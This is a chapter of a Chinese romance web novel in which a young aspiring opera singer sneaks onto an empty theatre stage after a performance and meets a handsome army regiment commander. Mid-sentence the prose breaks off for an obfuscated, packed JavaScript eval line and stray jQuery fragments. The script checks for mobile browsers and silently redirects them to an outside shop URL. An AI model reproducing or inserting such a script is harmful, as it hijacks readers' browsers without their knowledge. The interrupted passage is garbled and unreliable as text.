县城离镇上四十里路,焦九斤赶着驴车,颠簸了大半天才到。
今越坐在板车上,屁股被颠得生疼,可心里头却兴奋得很。
她从镇上这几年长到十九岁,还是头一回到县城来。
一路上她东张西望,看什么都新鲜,宽阔的马路,两层高的楼房,街边挂着花花绿绿招牌的铺子,还有骑着自行车叮铃铃穿过街道的年轻人。
这一切都让她觉得新奇又向往。
焦九斤此行的目的,是带今越来县城的人民剧院听一场戏。
“省城的豫剧团来巡演,唱的是《穆桂英挂帅》。”焦九斤说这话的时候,眼睛里有一种今越很少见到的光芒,“主角是省团的台柱子马金凤先生的徒孙,唱了几十年的老戏骨了。你好好听听,看看人家是怎么唱的。”
今越嘴上应着,心里却在想别的事,她听说今天晚上有大领导来看戏,整个县城都轰动了,剧院门口挤满了人,好多人都想借着这个机会巴结那位大领导。
她不知道那位大领导是谁,也不关心,她只关心自己能不能挤进去看戏。
人民剧院坐落在县城最繁华的那条街上,灰砖砌成的三层楼房,正门上方挂着一块巨大的红色牌匾,上书四个鎏金大字“人民剧院”。
门口的石阶又宽又长,两边竖着两根粗大的水泥柱子,柱子上贴着红色的标语,一派庄严肃穆的气象。
今越站在剧院门口,仰着头看着那块牌匾,嘴巴张得能塞下一个鸡蛋。
她这辈子见过的最大的戏台,就是镇上那个用木板搭的临时台子。
她从来没见过真正的剧院,没见过这么高的屋顶,这么大的舞台,这么多的座位。她光是站在门口,就已经觉得心跳加速了。
“别傻站着了,进去。”焦九斤拽了她一把。
戏票是焦九斤托人买的,位置在二楼最后一排的角落里,视野不太好,只能看到舞台的一个侧面。
可即便如此,今越也已经激动得不行了。
她坐在那把硬邦邦的木椅子上,双手撑着膝盖,身子前倾,恨不得把整个脑袋都伸到舞台上去。
剧场里的人越来越多,一楼的大池座很快就坐满了,二楼的包厢和散座也陆陆续续上了人。
今越粗略数了数,少说有七八百号人。
她从来没见过这么多人在同一个地方,心里又是紧张又是兴奋,手心都冒汗了。
“师父,好多人啊……”她凑到焦九斤耳边小声说。
“废话,省团来演出,当然人多。”焦九斤白了她一眼,“你好好看着,学着点。”
“哦。”
今越的目光在剧场里扫了一圈,忽然注意到一楼前排正中央的几个座位上铺着大红绸布的椅套,和其他座位明显不同。
那几个座位周围站着几个穿军装的人,腰板挺得笔直,目不斜视,一看就不是普通人。
“师父,那边那几个座位是给谁的?”今越好奇地问。
焦九斤顺着她的目光看了一眼,压低声音说:“听说是部队上的一个大官,今天专门来看戏的,少东张西望的,别惹事。”
今越“哦”了一声,可还是忍不住多看了几眼。
就在这时,剧场入口处忽然传来一阵骚动。
今越循声望去,只见几个人从入口走了进来。
走在最前面的那个人,穿着一身笔挺的绿色军装,肩上扛着肩章,腰间扎着武装带,步伐沉稳有力。
他的个子很高,身材修长挺拔,在一群人中显得格外醒目。
当他摘下军帽的那一刻,整个剧场似乎都安静了一瞬。
那是一张让人过目不忘的脸。
剑眉星目,鼻梁高挺,面部轮廓分明却不失柔和。
他的皮肤是健康的小麦色,一看就是常年风吹日晒的结果,可这丝毫没有影响他的英俊,反而给他增添了几分阳刚之气。
五官端正得像是用尺子量过一般,每一处都恰到好处,多一分则过,少一分则缺。
尤其是那双眼睛,深邃而明亮,像是两潭幽深的湖水,平静的表面下藏着看不见的暗流。
他微笑着和身边的人交谈,说话时不急不缓,声音低沉而温和,带着一种天然的亲和力。
他走到前排那个铺着红绸的座位前,没有立刻坐下,而是先环顾了一圈四周,朝在场的观众微微颔首致意,然后才从容落座。
整个过程中,举止优雅而得体,既不张扬,也不拘谨,举手投足间自有一种让人如沐春风的气质。
今越看得呆了。
她活了十九年,见过的人不少,可从来没见过长成这样的人。
镇上的男人要么黑瘦干瘪,要么粗鲁莽撞,哪有这般的人物?这个人往那儿一坐,就像是一幅画,周围的喧嚣和嘈杂都成了背景,所有的光都聚在他一个人身上。
“那是谁啊?”今越拉了拉焦九斤的袖子,小声问道。
焦九斤瞥了一眼,压低声音说:“听说是军区来的团长,姓沈,叫沈聿。年纪轻轻的就当上了团长,前途不可限量。今天县里的领导都来了,就是为了陪他看这场戏。”
沈聿。
今越在心里默念了一遍这个名字,他没听过,也没有多想,又把目光投向了一楼前排的那个身影。
戏开演了。
《穆桂英挂帅》是豫剧的经典剧目,讲述的是北宋时期,杨家将中的穆桂英挂帅出征的故事。
省团的演员功底扎实,唱念做打俱佳,尤其是扮演穆桂英的那位老旦,嗓音洪亮,气势磅礴,一段“辕门外三声炮如同雷震”唱得满堂喝彩。
可今越的心思,却怎么也集中不到戏台上。
她的目光总是不自觉地飘向一楼前排那个穿军装的身影。
他看戏看得很认真,时而微微点头,时而侧身和旁边的县领导低声交流几句,脸上始终挂着那种温和而克制的微笑。
坐姿始终端正,腰背挺直,双手自然地放在膝盖上,从头到尾没有靠在椅背上过。
这让今越想起了父亲。父亲活着的时候,也总是这样,坐有坐相,站有站相,任何时候都保持着一种让人安心的沉稳和从容。
她的心里忽然涌起一种说不清道不明的感觉,酸酸的,涩涩的,又带着一点点甜。
戏演了两个多小时,散场的时候已经快夜里十点了。
观众们陆续退场,剧场里渐渐安静下来。
焦九斤带着今越从侧门出去,准备去找地方住一晚,明天再赶回去。
可今越走到一半,忽然停下了脚步。
“师父,我……我把手绢落在座位上了。”她撒了个谎,脸不红心不跳的。
焦九斤皱了皱眉:“明儿再去拿就是了。”
“不行,那是我娘留给我的。”今越低下头,声音里带了一丝哽咽。
焦九斤叹了口气,摆了摆手:“快去快回,我在街口那棵槐树底下等你。”
“哎!”
今越转身就往剧院跑,可她没有去二楼找什么手绢,而是一口气跑到了舞台的后台入口。
后门虚掩着,没有锁。
她推开门,侧身钻了进去。剧场里已经空了,只剩下几盏昏暗的应急灯还亮着,偌大的空间显得空旷而寂静。
舞台上还保留着演出结束时的布景,道具散落一地,没有人来得及收拾。
今越站在空无一人的观众席前,看着那个巨大的舞台,心脏砰砰直跳。
她一步一步地往前走,走过一排排空荡荡的座椅,走到最前排,然后踏上了舞台的台阶。
当她双脚站在舞台中央的那一刻,她的呼吸停滞了一瞬。
这就是舞台。
这就是她做梦都想站上来的地方。
脚下的木板微微有些松动,踩上去会发出轻微的吱呀声。
头顶悬着密密麻麻的绳索和幕布,两侧的灯光架子上还残留着演出时留下的温度。
空气中弥漫着灰尘和汗水混合的气味,那是属于舞台特有的味道。
今越闭上眼睛,深深地吸了一口气。
她想象着自己穿着戏服站在这里的场景,想象着台下坐满了观众,所有的目光都汇聚在她一个人身上,想象着锣鼓声响起,她开口唱出第一句词——
她睁开眼,清了清嗓子,然后开口唱道:
“辕门外三声炮如同雷震——”
这是《穆桂英挂帅》里的经典唱段。
她没有刻意模仿刚才那位老旦的唱法,而是用自己的方式,用自己的嗓音,用自己的情感去演绎。
声音在空旷的剧场里回荡,虽然没有伴奏,虽然没有观众,可那声音里有一种蓬勃的生命力,像是一株破土而出的幼苗,倔强地向上生长着。
她越唱越投入,越唱越忘情,索性把外套脱了扔在一旁,露出里面早就偷偷穿好的水袖,摆出了穆桂英挂帅的架势。
她想象着自己就是那个巾帼不让须眉的女英雄,披甲执锐,率领千军万马奔赴沙场。
她的动作大开大合,眼神凌厉坚定,每一个转身都带着风声,每一个亮相都透着杀气。
“穆桂英我本是农家女——”
她一边唱一边做了一个漂亮的翻身动作,水袖甩出去,在空中划出一道优美的弧线。
可她没有注意到,水袖正好勾住了旁边一盏落地灯的电线——
“哗啦——砰!”
落地灯倒了下来,灯泡摔碎了,发出一声巨响。
今越吓了一跳,整个人僵在原地,保持着那个甩袖的动作,一动也不敢动。
她的心脏狂跳不止,脑子里只有一个念头:完了,把人家的东西摔坏了,师父非打死我不可。
就在这时,舞台侧面的幕布被人掀开了。
一个人影走了进来。
今越的心提到了嗓子眼,她已经做好了立马鞠躬道歉的准备。
可当那个人影走到灯光下时,她愣住了。
是那个穿军
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913483|213230||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
装的团长。
沈聿也没想到会在这里遇见人。
他散场后没有立刻离开,而是在剧场里多待了一会儿,和县文化馆的负责人聊了几句关于军民共建的事情。
等他准备离开的时候,听见舞台上传来唱戏的声音,以为是哪个工作人员在收拾道具,便过来看看,没想到看见的是一个姑娘站在舞台中央,正唱得起劲。
他看见那姑娘穿着一件洗得发白的蓝色布衫,她的头发有些乱了,几缕碎发贴在额头上,脸上因为用力而泛起两团红晕。
她的眼睛很亮,像是有星星在里面闪烁。
她就那样站在一片狼藉的舞台上,脚下是摔碎的灯泡碎片,身后是倾倒的落地灯,可她浑然不觉,整个人还沉浸在刚才的角色里,胸膛微微起伏着,呼吸还没有平复。
沈聿看着她,忽然想起了一句诗。
“北方有佳人,绝世而独立。”
他从来没见过一个姑娘,像眼前这个一样,浑身上下散发着一种蓬勃的,鲜活的生命力。
她站在那里的样子,不像是一个偷偷溜进来的不速之客,倒像是一个天生的王者,站在属于她的王座上。
两个人隔着几步远的距离,四目相对。
今越的大脑一片空白。
她想解释,想道歉,想说点什么来打破这尴尬的局面,可她的嘴巴张了又合,合了又张,一个字也说不出来。
沈聿率先打破了沉默。
他没有生气,也没有责备,而是微微一笑,用一种温和得近乎轻柔的声音说了一句:
“唱得很好。”
今越愣住了。
她以为他会骂她,会把她赶出去,甚至会叫人把她抓起来。可她万万没有想到,他会说出这几个字。
唱得很好。
她的眼眶忽然有些发酸,鼻子也有些堵。她低下头,掩饰着自己的慌乱,小声说了一句:“谢、谢谢首长……”
沈聿笑了笑,弯腰捡起地上那盏倒了的落地灯,把它扶正,又看了看地上的碎玻璃,说:“下次唱戏的时候,小心些。这些东西砸到自己就不好了。”
“灯泡的事我去跟门卫说下,不用担心。”
他的语气很随意,像是在跟一个认识了很久的朋友说话,没有丝毫的居高临下,也没有丝毫的生疏和客套。
那种自然而然的关切,让今越的心跳漏了一拍。
“我、我会注意的……”今越的声音小得像蚊子哼哼。
沈聿点了点头,没有再说什么,转身准备离开。
他走了两步,又停下来,回头看了她一眼,问了一句:“你叫什么名字?”
今越抬起头,对上他那双深邃的眼睛,鬼使神差地回了一句:“我叫穆桂英。”
说完她就后悔了。
沈聿愣了一下,随即笑了起来。
他的眼睛弯成了月牙的形状,嘴角上扬的弧度恰到好处,整个人看起来年轻了好几岁。
“穆桂英同志,”他笑着说,“下次挂帅出征的时候,记得别把灯打翻了。”
说完,他转身走了。
今越站在原地,看着他的背影消失在幕布后面,脸上火烧火燎的。
她低头看了看自己脚边的碎玻璃渣,又摸了摸自己滚烫的脸颊,忽然蹲下来,把脸埋进膝盖里,发出一声压抑的尖叫。
她刚才干了什么?!
她说她叫穆桂英?!
她这辈子都没干过这么丢人的事!!!
可同时,她的心里又有一种奇怪的、从未有过的感觉在涌动。
那种感觉像是一只蝴蝶,在她的胸腔里扑棱着翅膀,痒痒的,酥酥的,让她坐立不安。
她不知道那是什么。
可她记住了他的名字。
沈聿。
她在心里默念了一遍,又念了一遍,然后把脸埋得更深了。
街口的槐树下,焦九斤等得都快睡着了。他看见今越从剧院方向跑过来,脸红得像猴屁股一样,气喘吁吁的,不由皱起了眉头。
“手绢找到了?”
“找到了。”今越低着头,不敢看他。
“那你的脸怎么红成这样?”
“……跑的。”
焦九斤狐疑地看了她一眼,没有再追问,转身往客栈的方向走去。
今越跟在他身后,走了几步,又忍不住回头看了一眼远处的人民剧院。
夜色中,那栋灰砖建筑的轮廓模糊不清,只有门口的灯光还在亮着。
今越收回目光,跟在师父身后,一步一步地走着。
她的脚步比来时轻快了许多,嘴角也不自觉地浮起一丝笑意。
人民剧院门口,一辆军用吉普车正准备驶离。
车上的沈聿透过车窗,看见了远处那个蹦蹦跳跳远去的身影,嘴角也浮起了一丝若有若无的笑意。
“穆桂英。”他低声重复了一遍这个名字,然后摇了摇头,笑着对司机说,“走吧。”